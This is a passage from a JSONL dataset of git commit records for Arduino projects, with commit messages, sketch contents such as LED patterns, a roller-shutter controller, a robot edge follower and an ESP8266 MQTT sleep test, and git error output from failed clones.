Channel, Throttle Update, GPS","message":"Jack Rabbit: R4 PWM Channel, Throttle Update, GPS\n\nUpdated the throttle pwm refresh rate to 50 Hz, which also meant moving\nthe R4 to channel 10 instead of 23 (since that timer was shared with the\nthrottle timer). To free up channel 10, GPS was moved onto the hardware\nserial instead of the soft serial.\n","repos":"PAAW\/mAEWing1,PAAW\/mAEWing1,PAAW\/mAEWing1","old_file":"Software\/JackRabbit\/JackRabbit.ino","new_file":"Software\/JackRabbit\/JackRabbit.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PAAW\/mAEWing1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"08bccef6e71d1815f63c743dec8c72d02ddb842c","subject":"Test script for flashing LEDs on same port using AIO and DIO","message":"Test script for flashing LEDs on same port using AIO and DIO\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/tests\/sched_blinksda\/sched_blinksda.ino","new_file":"sketches\/tests\/sched_blinksda\/sched_blinksda.ino","new_contents":"\/**\n * Use the schedule class to have two different LEDs on one JeeNode\n * port flash at different rates. One LED is on DIO and the other\n * AIO. \n *\n * This is a straight-forward modification of the sched_blinks.ino\n * sketch.\n *\n * Based largely on jcw's \"schedule\" and \"blink_ports\" sketches \n *\n * Changes:\n * - remove BlinkPlug specifics but use the same techniques. The\n * LEDs are wired between DIO\/AIO and GND rather than VCC and\n * DIO\/AIO as in the BlinkPlug code.\n *\n * Original \"blink_ports\" sketch:\n * 2009-02-13 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n * Original \"schedule\" sketch:\n * 2010-10-18 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n * Modifications\n * 2015-08-14 <bill@jamimi.com> http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <JeeLib.h>\n\nPort one (4);\n\n\/\/ Connect a series resistor (470 or 1k ohm) to two leds. Connect one\n\/\/ to pins 2 (DIO) and 3 (GND) on Jeenode port 4 and the other to pins\n\/\/ 5 (AIO) and 3 (GND).\n\nenum { TASK1, TASK2, TASK_LIMIT };\n\nstatic word schedBuf[TASK_LIMIT];\nScheduler scheduler (schedBuf, TASK_LIMIT);\n\nbyte led1, led2;\n\n\/\/ this has to be added since we're using the watchdog for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(\"\\n[schedule]\");\n Serial.flush();\n \n \/\/ turn the radio off completely\n rf12_initialize(17, RF12_868MHZ);\n rf12_sleep(RF12_SLEEP);\n\n one.mode(OUTPUT);\n one.mode2(OUTPUT);\n\n led1 = 0;\n led2 = 0;\n \n \/\/ start both tasks 1.5 seconds from now\n scheduler.timer(TASK1, 15);\n scheduler.timer(TASK2, 15);\n}\n\nvoid loop () {\n switch (scheduler.pollWaiting()) {\n \/\/ LED 1 blinks .1 second every second\n case TASK1:\n led1 = !led1;\n if (led1) {\n one.digiWrite(1);\n scheduler.timer(TASK1, 1);\n } else {\n one.digiWrite(0);\n scheduler.timer(TASK1, 8);\n }\n break;\n \/\/ LED 2 blinks .5 second every second\n case TASK2:\n led2 = !led2;\n if (led2) {\n one.digiWrite2(1);\n scheduler.timer(TASK2, 1);\n } else {\n one.digiWrite2(0);\n scheduler.timer(TASK2, 3);\n }\n break;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/tests\/sched_blinksda\/sched_blinksda.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd3d7fbd04f331191c77099c5cb1262ee315419a","subject":"Updated to capture when the sensor changes state","message":"Updated to capture when the sensor changes state\n\nWe now capture one pulse (two changes of the sensor) and write it via serial resolves #6 and resolves #4","repos":"HouseOfTheFuture\/IoT-Device,HouseOfTheFuture\/TickTack","old_file":"Arduino\/watermeter-pulse-indicator\/watermeter-pulse-indicator.ino","new_file":"Arduino\/watermeter-pulse-indicator\/watermeter-pulse-indicator.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/HouseOfTheFuture\/IoT-Device.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"300b8ac5a381a41ecf9f1d864e3242911fa381f2","subject":"Mic Test program","message":"Mic Test program\n\nRead the mic, print values to serial, if between 3000 and 4000, start blinking the lights\n","repos":"GW-Robotics\/2018-Firefighter","old_file":"MicTest\/MicTest.ino","new_file":"MicTest\/MicTest.ino","new_contents":"#include \"FreqCount.h\"\n#define LED_PIN_1 9\n#define LED_PIN_2 11\n\nunsigned long freqCount;\n#define LOW_START 3000\n#define HIGH_START 4000\nbool robotOn = false;\nbool checkingMicrophone = true;\nbool hearingStartSound = false;\n\nvoid checkMicrophone() {\n \/\/ Measure sound:\n if (FreqCount.available()) {\n freqCount = FreqCount.read();\n Serial.println(String(freqCount);\n } else {\n freqCount = 0;\n }\n\n \/\/ If the sound frequency is within start sound bounds, turn on robot:\n if (freqCount > LOW_START && freqCount < HIGH_START) {\n robotOn = true; \/\/ Set the robot to on\n hearingStartSound = true;\n } else {\n hearingStartSound = false;\n if (robotOn) {\n checkingMicrophone = false;\n FreqCount.end();\n }\n }\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n FreqCount.begin(1000);\n Serial.begin(9600);\n pinMode(LED_PIN_1, OUTPUT);\n pinMode(LED_PIN_2, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (checkingMicrophone) { \/\/Robot doesn't start until it hears the start frequency\n checkMicrophone();\n }\n digitalWrite(LED_PIN_1, HIGH);\n digitalWrite(LED_PIN_2, HIGH);\n delay(500);\n digitalWrite(LED_PIN_1, LOW);\n digitalWrite(LED_PIN_2, LOW);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MicTest\/MicTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea59c9a77bd1043b52b5ed3a5725263b69f76362","subject":"started working on NodeMCU code","message":"started working on NodeMCU code\n","repos":"nickrttn\/watt-next,nickrttn\/watt-next","old_file":"iot\/device\/device.ino","new_file":"iot\/device\/device.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'iot\/device\/device.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3f31e58b32dd60bfabe592ede3b75c00c9195909","subject":"added the roller shutter controller v1","message":"added the roller shutter controller v1\n","repos":"chbw\/sketchbook","old_file":"rollershutterone\/rollershutterone.ino","new_file":"rollershutterone\/rollershutterone.ino","new_contents":"typedef enum {STOP, PAUSE, UP_STEP, UP_CONT, DN_STEP, DN_CONT} shutter_state_t;\n\ntypedef struct {\n shutter_state_t state;\n unsigned long timestamp;\n uint8_t btn_up;\n uint8_t btn_up_prev;\n uint8_t btn_dn;\n uint8_t btn_dn_prev;\n int driver_up;\n int driver_dn;\n int button_up;\n int button_dn;\n} shutter_t;\n\nshutter_t s1_;\n\n\nconst unsigned long TIME_PAUSE_MS = 400;\nconst unsigned long TIME_STEP_MS = 400;\nconst unsigned long TIME_CONT_MS = 30000;\n\nvoid setup(){\n unsigned long now = millis();\n\n s1_.state = STOP;\n s1_.timestamp = now;\n s1_.btn_up = LOW;\n s1_.btn_up_prev = LOW;\n s1_.btn_dn = LOW;\n s1_.btn_dn_prev = LOW;\n s1_.driver_up = 2;\n s1_.driver_dn = 3;\n s1_.button_up = 4;\n s1_.button_dn = 5;\n pinMode(s1_.driver_up,OUTPUT);\n pinMode(s1_.driver_dn,OUTPUT);\n pinMode(s1_.button_up,INPUT);\n pinMode(s1_.button_dn,INPUT);\n\n}\n\n\nvoid loop(){\n unsigned long now = millis();\n \n s1_.btn_dn_prev = s1_.btn_dn;\n s1_.btn_up_prev = s1_.btn_up;\n s1_.btn_up = digitalRead(s1_.button_up);\n s1_.btn_dn = digitalRead(s1_.button_dn);\n \n switch(s1_.state) {\n case PAUSE:\n digitalWrite(s1_.driver_up, LOW);\n digitalWrite(s1_.driver_dn, LOW);\n if(now > s1_.timestamp + TIME_PAUSE_MS) {\n s1_.state = STOP;\n }\n break;\n \n case STOP:\n digitalWrite(s1_.driver_up, LOW);\n digitalWrite(s1_.driver_dn, LOW);\n if(s1_.btn_up && (!s1_.btn_up_prev)){\n s1_.state = UP_STEP;\n s1_.timestamp = now;\n }\n if(s1_.btn_dn && (!s1_.btn_dn_prev)){\n s1_.state = DN_STEP;\n s1_.timestamp = now;\n }\n break;\n \n case UP_STEP:\n digitalWrite(s1_.driver_up, HIGH);\n digitalWrite(s1_.driver_dn, LOW);\n if(!s1_.btn_up){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(now > s1_.timestamp + TIME_STEP_MS){\n s1_.state = UP_CONT;\n }\n break;\n \n case UP_CONT:\n digitalWrite(s1_.driver_up, HIGH);\n digitalWrite(s1_.driver_dn, LOW);\n if(now > s1_.timestamp + TIME_CONT_MS) {\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(s1_.btn_up && (!s1_.btn_up_prev)){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(s1_.btn_dn && (!s1_.btn_dn_prev)){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n break;\n \n case DN_STEP:\n digitalWrite(s1_.driver_up, LOW);\n digitalWrite(s1_.driver_dn, HIGH);\n if(!s1_.btn_dn){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(now > s1_.timestamp + TIME_STEP_MS){\n s1_.state = DN_CONT;\n }\n break;\n \n case DN_CONT:\n digitalWrite(s1_.driver_up, LOW);\n digitalWrite(s1_.driver_dn, HIGH);\n if(now > s1_.timestamp + TIME_CONT_MS) {\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(s1_.btn_up && (!s1_.btn_up_prev)){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n if(s1_.btn_dn && (!s1_.btn_dn_prev)){\n s1_.state = PAUSE;\n s1_.timestamp = now;\n }\n break;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rollershutterone\/rollershutterone.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e2b687810ea6fdd1e294cbc242b01605cf56a42b","subject":"Adding DemoReel100 example","message":"Adding DemoReel100 example\n","repos":"corbinstreehouse\/FastLED,neographophobic\/FastLED,NicoHood\/FastLED,kcouck\/FastLED,tullo-x86\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,NicoHood\/FastLED,felixLam\/FastLED,remspoor\/FastLED,FastLED\/FastLED,remspoor\/FastLED,felixLam\/FastLED,eshkrab\/FastLED-esp32,tullo-x86\/FastLED,PaulStoffregen\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,neographophobic\/FastLED,FastLED\/FastLED,wilhelmryan\/FastLED,PaulStoffregen\/FastLED,kcouck\/FastLED,eshkrab\/FastLED-esp32,wilhelmryan\/FastLED","old_file":"examples\/DemoReel100\/DemoReel100.ino","new_file":"examples\/DemoReel100\/DemoReel100.ino","new_contents":"#include \"FastLED.h\"\n\n\/\/ FastLED \"100-lines-of-code\" demo reel, showing just a few \n\/\/ of the kinds of animation patterns you can quickly and easily \n\/\/ compose using FastLED. \n\/\/\n\/\/ This example also shows one easy way to define multiple \n\/\/ animations patterns and have them automatically rotate.\n\/\/\n\/\/ -Mark Kriegsman, December 2014\n\n#if FASTLED_VERSION < 3001000\n#error \"Requires FastLED 3.1 or later; check github for latest code.\"\n#endif\n\n#define DATA_PIN 3\n\/\/#define CLK_PIN 4\n#define LED_TYPE WS2811\n#define COLOR_ORDER GRB\n#define NUM_LEDS 64\nCRGB leds[NUM_LEDS];\n\n#define BRIGHTNESS 96\n#define FRAMES_PER_SECOND 120\n\nvoid setup() {\n delay(3000); \/\/ 3 second delay for recovery\n \n \/\/ tell FastLED about the LED strip configuration\n FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n\n \/\/ set master brightness control\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/ List of patterns to cycle through. Each is defined as a separate function below.\ntypedef void (*SimplePatternList[])();\nSimplePatternList gPatterns = { rainbow, rainbowWithGlitter, confetti, sinelon, juggle, bpm };\n\nuint8_t gCurrentPatternNumber = 0; \/\/ Index number of which pattern is current\nuint8_t gHue = 0; \/\/ rotating \"base color\" used by many of the patterns\n \nvoid loop()\n{\n \/\/ Call the current pattern function once, updating the 'leds' array\n gPatterns[gCurrentPatternNumber]();\n\n \/\/ send the 'leds' array out to the actual LED strip\n FastLED.show(); \n \/\/ insert a delay to keep the framerate modest\n FastLED.delay(1000\/FRAMES_PER_SECOND); \n\n \/\/ do some periodic updates\n EVERY_N_MILLISECONDS( 20 ) { gHue++; } \/\/ slowly cycle the \"base color\" through the rainbow\n EVERY_N_SECONDS( 10 ) { nextPattern(); } \/\/ change patterns periodically\n}\n\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\n\nvoid nextPattern()\n{\n \/\/ add one to the current pattern number, and wrap around at the end\n gCurrentPatternNumber = (gCurrentPatternNumber + 1) % ARRAY_SIZE( gPatterns);\n}\n\nvoid rainbow() \n{\n \/\/ FastLED's built-in rainbow generator\n fill_rainbow( leds, NUM_LEDS, gHue, 7);\n}\n\nvoid rainbowWithGlitter() \n{\n \/\/ built-in FastLED rainbow, plus some random sparkly glitter\n rainbow();\n addGlitter(80);\n}\n\nvoid addGlitter( fract8 chanceOfGlitter) \n{\n if( random8() < chanceOfGlitter) {\n leds[ random16(NUM_LEDS) ] += CRGB::White;\n }\n}\n\nvoid confetti() \n{\n \/\/ random colored speckles that blink in and fade smoothly\n fadeToBlackBy( leds, NUM_LEDS, 10);\n int pos = random16(NUM_LEDS);\n leds[pos] += CHSV( gHue + random8(64), 200, 255);\n}\n\nvoid sinelon()\n{\n \/\/ a colored dot sweeping back and forth, with fading trails\n fadeToBlackBy( leds, NUM_LEDS, 20);\n int pos = beatsin16(13,0,NUM_LEDS);\n leds[pos] += CHSV( gHue, 255, 192);\n}\n\nvoid bpm()\n{\n \/\/ colored stripes pulsing at a defined Beats-Per-Minute (BPM)\n uint8_t BeatsPerMinute = 62;\n CRGBPalette16 palette = PartyColors_p;\n uint8_t beat = beatsin8( BeatsPerMinute, 64, 255);\n for( int i = 0; i < NUM_LEDS; i++) { \/\/9948\n leds[i] = ColorFromPalette(palette, gHue+(i*2), beat-gHue+(i*10));\n }\n}\n\nvoid juggle() {\n \/\/ eight colored dots, weaving in and out of sync with each other\n fadeToBlackBy( leds, NUM_LEDS, 20);\n byte dothue = 0;\n for( int i = 0; i < 8; i++) {\n leds[beatsin16(i+7,0,NUM_LEDS)] |= CHSV(dothue, 200, 255);\n dothue += 32;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DemoReel100\/DemoReel100.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a78f9a5b6e18195d4972c52f55112e563d52f7b","subject":"use ir fr to check right empty space","message":"use ir fr to check right empty space\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8327f67d36c0b987223e03995dc867088ebe8379","subject":"Update catheter_arduino_ard_ide.ino","message":"Update catheter_arduino_ard_ide.ino\n\nAdded the MRI pin feature so that the camera can detect the MRI imaging.\nThis feature has now been tested\n","repos":"cwru-mercis\/cwru_catheter_controller,cwru-mercis\/cwru_catheter_controller,cwru-robotics\/catheter_arduino_controller,cwru-robotics\/catheter_arduino_controller,biocubed\/catheter_arduino_controller,cwru-robotics\/catheter_arduino_controller,cwru-mercis\/cwru_catheter_controller,biocubed\/catheter_arduino_controller,cwru-mercis\/cwru_catheter_controller,biocubed\/catheter_arduino_controller,biocubed\/catheter_arduino_controller,cwru-robotics\/catheter_arduino_controller","old_file":"src\/catheter_arduino_ard_ide\/catheter_arduino_ard_ide.ino","new_file":"src\/catheter_arduino_ard_ide\/catheter_arduino_ard_ide.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwru-mercis\/cwru_catheter_controller.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bcc11ec61d1ddf87a7c70b8115406305546f92b1","subject":"arduno project toegevoegt","message":"arduno project toegevoegt\n","repos":"barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation","old_file":"Arduinomation\/Arduinomation.ino","new_file":"Arduinomation\/Arduinomation.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduinomation\/Arduinomation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30ca01145ca94e127a020779f72902169522a0de","subject":"Added source code of bell.","message":"Added source code of bell.","repos":"hpibandraum\/ring,hpibandraum\/ring","old_file":"source.ino","new_file":"source.ino","new_contents":"\n\/\/ confguration\n#define STRIPE_PIN D6\n#define SPEAKER_PIN D0\n#define PIXEL_COUNT 5\n#define SECONDS_TO_RING 3\n\n\n\/\/ includes\n#include \"neopixel\/neopixel.h\"\n\n\n\/\/ definitions\n#define RGB(red, green, blue) uint32_t((uint32_t(red & 0xff) << uint32_t(16)) | (uint32_t(green & 0xff) << uint32_t(8)) | uint32_t(blue & 0xff))\n#define RED(rgb) ((uint32_t(rgb) >> 16) & 0xff)\n#define GREEN(rgb) ((uint32_t(rgb) >> 8) & 0xff)\n#define BLUE(rgb) (uint32_t(rgb) & 0xff)\nuint32_t random_color(uint8_t brightness = 255);\nSYSTEM_MODE(AUTOMATIC);\n\nenum BellState {WAITING, RINGING};\n\n\/\/ initialization\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, STRIPE_PIN);\n\nBellState state = WAITING;\n\nvoid setup() {\n strip.begin();\n strip.show();\n Particle.function(\"bell\",startRinging);\n}\n\n\nvoid loop() {\n switch (state) {\n case WAITING: wait(); break;\n case RINGING: ring(); break;\n \n }\n}\n\n#define DEC(i) (i > 0 ? i - 1 : 0)\n\nvoid wait() {\n for (int i = 0; i < PIXEL_COUNT; i++) {\n uint32_t color = strip.getPixelColor(i);\n if (color) {\n uint32_t red = RED(color); red = DEC(red);\n uint32_t green = GREEN(color); green = DEC(green);\n uint32_t blue = BLUE(color); blue = DEC(blue);\n strip.setPixelColor(i, RGB(red, green, blue));\n break;\n }\n }\n strip.show();\n delay(5);\n}\n\n\nint ring_i = 0;\nlong end_time = 0;\nvoid ring() {\n ring_i = (ring_i + 1) % PIXEL_COUNT;\n if (random(2)) {\n strip.setPixelColor(ring_i, 0);\n } else {\n strip.setPixelColor(ring_i, random_color());\n }\n strip.show();\n delay(30);\n if (end_time < millis()) {\n stopRinging();\n }\n}\n\nvoid stopRinging() {\n strip.show();\n state = WAITING;\n}\n\nvoid startRinging() {\n state = RINGING;\n end_time = millis() + SECONDS_TO_RING * 1000;\n}\n\nint startRinging(String command) {\n \/\/ see https:\/\/docs.particle.io\/guide\/getting-started\/examples\/photon\/\n startRinging();\n return SECONDS_TO_RING;\n}\n\nuint32_t random_color(uint8_t brightness)\n{\n int c1 = random(int(brightness) + 1);\n int c2 = random(int(brightness) + 1);\n int b = random(3);\n int red;\n int green;\n int blue;\n switch (b)\n {\n case 0:\n red = brightness;\n green = c1;\n blue = c2;\n break;\n case 1:\n red = c1;\n green = brightness;\n blue = c2;\n break;\n case 2:\n red = c1;\n green = c2;\n blue = brightness;\n break;\n }\n return RGB(red, green, blue);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'source.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"71b9737d1a98265b9addbecf10b2e7431ffc7d9c","subject":"update to reflect changes to header","message":"update to reflect changes to header","repos":"pylonman\/simple_gpio_class","old_file":"examples\/blink_test\/blink_test.ino","new_file":"examples\/blink_test\/blink_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pylonman\/simple_gpio_class.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"0e8f338ddf4b9907a7d6b489cfe65576d3a3594d","subject":"Firmware1 for controller","message":"Firmware1 for controller\n\nTo be used with Arduino IDE for Leonardo Board from Boilermake\n","repos":"air23zj\/DuckHuntRobotics,air23zj\/DuckHuntRobotics","old_file":"HardwareFirmware\/controller_duck.ino","new_file":"HardwareFirmware\/controller_duck.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n \n This example code is in the public domain.\n *\/\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\nint inPin = 9; \/\/ pushbutton connected to digital pin 9(PB5)\nint val = 0; \/\/ variable to store the read value\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT); \n pinMode(inPin , INPUT); \/\/ sets the digital pin 9 as input\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n val = digitalRead(inPin); \/\/ read the input pin\n digitalWrite(led, val); \/\/ sets the LED to the button's value\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HardwareFirmware\/controller_duck.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5bdc1d7c1859fe87cb1bcd42e6099fc4fc717d8","subject":"Added new FollowEdge example.","message":"Added new FollowEdge example.\n","repos":"merose\/VMSRobot3,merose\/VMSRobot3","old_file":"examples\/FollowEdge\/FollowEdge.ino","new_file":"examples\/FollowEdge\/FollowEdge.ino","new_contents":"\/\/ FollowEdge - Follow a table edge without falling off.\n\n\/\/ An example for the VMS Robotics elective.\n\n#include <Servo.h>\n#include <VMSRobot3.h>\n\n\n\/\/ Perform one-time setup. We must call initRobot() to set up the\n\/\/ I\/O pins and center the servo.\n\nvoid setup() {\n Serial.begin(115200);\n initRobot();\n\n int switchValue;\n do {\n switchValue = readSwitch();\n } while (switchValue == 0);\n}\n\n\n\/\/ Forever, drive forward unless we see an edge, in which case move to\n\/\/ stay on the table.f\n\nvoid loop() {\n int foundLeftEdge = !digitalRead(LEFT_TRACK_SENSOR_PIN);\n int foundRightEdge = !digitalRead(RIGHT_TRACK_SENSOR_PIN);\n\n if (foundRightEdge) {\n \/\/ We've found the table edge on the right, turn slightly to the\n \/\/ left and continue.\n setSpeed(-150, 0);\n delay(250);\n } else if (foundLeftEdge) {\n \/\/ We've found the table edge on the left. Turn more sharply left\n \/\/ so we can try to approach it on the right.\n setSpeed(-150, 0);\n delay(1000);\n } else {\n setSpeed(150, 100);\n }\n\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/FollowEdge\/FollowEdge.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"def9f6cea5cf84ba149756dfc04a6a6a6c2b3549","subject":"wifi_fpm_set_wakeup_cb : not work","message":"wifi_fpm_set_wakeup_cb : not work\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_38-wifi-off-light-sleep\/_38-wifi-off-light-sleep.ino","new_file":"_38-wifi-off-light-sleep\/_38-wifi-off-light-sleep.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#define FPM_SLEEP_MAX_TIME 0xFFFFFFF\n\n#define IPSET_STATIC { 192, 168, 10, 7 }\n#define IPSET_GATEWAY { 192, 168, 10, 1 }\n#define IPSET_SUBNET { 255, 255, 255, 0 }\n#define IPSET_DNS { 192, 168, 10, 10 }\n\nIPAddress ip_static = IPSET_STATIC;\nIPAddress ip_gateway = IPSET_GATEWAY;\nIPAddress ip_subnet = IPSET_SUBNET;\nIPAddress ip_dns = IPSET_DNS;\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\n\nchar* topic = \"pubtest\";\n\nString clientName;\nlong lastReconnectAttempt = 0;\nlong lastMsg = 0;\nint test_para = 1;\nunsigned long startMills;\n\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, wifiClient);\n\nvoid sendmqttMsg(char* topictosend, String payload)\n{\n\n if (client.connected()) {\n Serial.print(\"Sending payload: \");\n Serial.print(payload);\n\n unsigned int msg_length = payload.length();\n\n Serial.print(\" length: \");\n Serial.println(msg_length);\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if ( client.publish(topictosend, p, msg_length)) {\n Serial.println(\"Publish ok\");\n free(p);\n \/\/return 1;\n } else {\n Serial.println(\"Publish failed\");\n free(p);\n \/\/return 0;\n }\n }\n}\n\nString macToStr(const uint8_t* mac)\n{\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\nboolean reconnect()\n{\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str())) {\n Serial.println(\"===> mqtt connected\");\n } else {\n Serial.print(\"---> mqtt failed, rc=\");\n Serial.println(client.state());\n }\n }\n return client.connected();\n}\n\nvoid wifi_connect()\n{\n if (WiFi.status() != WL_CONNECTED) {\n \/\/ WIFI\n Serial.println();\n Serial.print(\"===> WIFI ---> Connecting to \");\n Serial.println(ssid);\n delay(10);\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n WiFi.config(IPAddress(ip_static), IPAddress(ip_gateway), IPAddress(ip_subnet), IPAddress(ip_dns));\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n Serial.print(\". \");\n Serial.print(Attempt);\n delay(100);\n Attempt++;\n if (Attempt == 250)\n {\n Serial.println();\n Serial.println(\"-----> Could not connect to WIFI\");\n ESP.restart();\n delay(200);\n }\n\n }\n Serial.println();\n Serial.print(\"===> WiFi connected\");\n Serial.print(\" ------> IP address: \");\n Serial.println(WiFi.localIP());\n }\n}\n\nvoid setup()\n{\n startMills = millis();\n Serial.begin(74880);\n\n Serial.println(\"\");\n Serial.println(\"rtc mem test\");\n Serial.println(wifi_station_get_auto_connect());\n WiFi.setAutoConnect(true);\n\n wifi_connect();\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n}\n\nvoid fpm_wakup_cb_func1()\n{\n Serial.println(\"Reconnecting\");\n wifi_fpm_close();\n wifi_set_opmode(STATION_MODE);\n wifi_station_connect();\n wifi_connect();\n}\n\nvoid loop()\n{\n Serial.println(\"starting main loop\");\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 200) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n }\n } else {\n \/\/wifi_connect();\n }\n\n if (client.connected()) {\n String payload = \"{\\\"startMills\\\":\";\n payload += (millis() - startMills);\n payload += \",\\\"FreeHeap\\\":\";\n payload += ESP.getFreeHeap();\n payload += \",\\\"RSSI\\\":\";\n payload += WiFi.RSSI();\n payload += \"}\";\n sendmqttMsg(topic, payload);\n }\n\n Serial.println(\"diconnecting client and wifi\");\n client.disconnect();\n wifi_station_disconnect();\n wifi_set_opmode(NULL_MODE);\n wifi_set_sleep_type(LIGHT_SLEEP_T);\n wifi_fpm_open();\n \/\/ ---> not yet includef in user_interface.h, so can't use it now\n \/\/ 'wifi_fpm_set_wakeup_cb' was not declared in this scope\n wifi_fpm_set_wakeup_cb(fpm_wakup_cb_func1);\n wifi_fpm_do_sleep(100000 * 1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_38-wifi-off-light-sleep\/_38-wifi-off-light-sleep.ino' did not match any file(s) 